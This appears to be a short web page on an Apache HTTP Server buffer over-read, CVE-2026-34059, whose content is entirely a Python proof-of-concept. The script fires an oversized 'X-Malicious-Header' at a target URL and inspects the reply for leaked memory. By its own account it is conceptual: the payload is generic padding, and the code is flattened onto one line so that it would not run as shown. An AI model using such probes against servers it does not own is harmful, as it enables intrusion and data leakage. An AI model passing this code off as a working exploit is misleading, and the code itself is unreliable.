CVE-2026-34059 Apache HTTP Server缓冲区越界读取漏洞

import requests # Proof of Concept for CVE-2026-34059 # This script attempts to trigger the buffer over-read by sending a crafted request. # NOTE: This is a conceptual demonstration based on the vulnerability description. TARGET_URL = "http://example.com/" def trigger_vulnerability(): # Craft a header with excessive length to potentially hit the buffer boundary headers = { "User-Agent": "CVE-2026-34059-PoC", "X-Malicious-Header": "A" * 8192 # Arbitrary long string to trigger read } try: print(f"[*] Sending request to {TARGET_URL}...") response = requests.get(TARGET_URL, headers=headers, timeout=10) # Check if server responded with potential leaked data in headers or body if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Inspect response headers and body for memory artifacts.") print(f"[-] Response Content-Length: {len(response.content)}") else: print(f"[-] Server returned code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": trigger_vulnerability()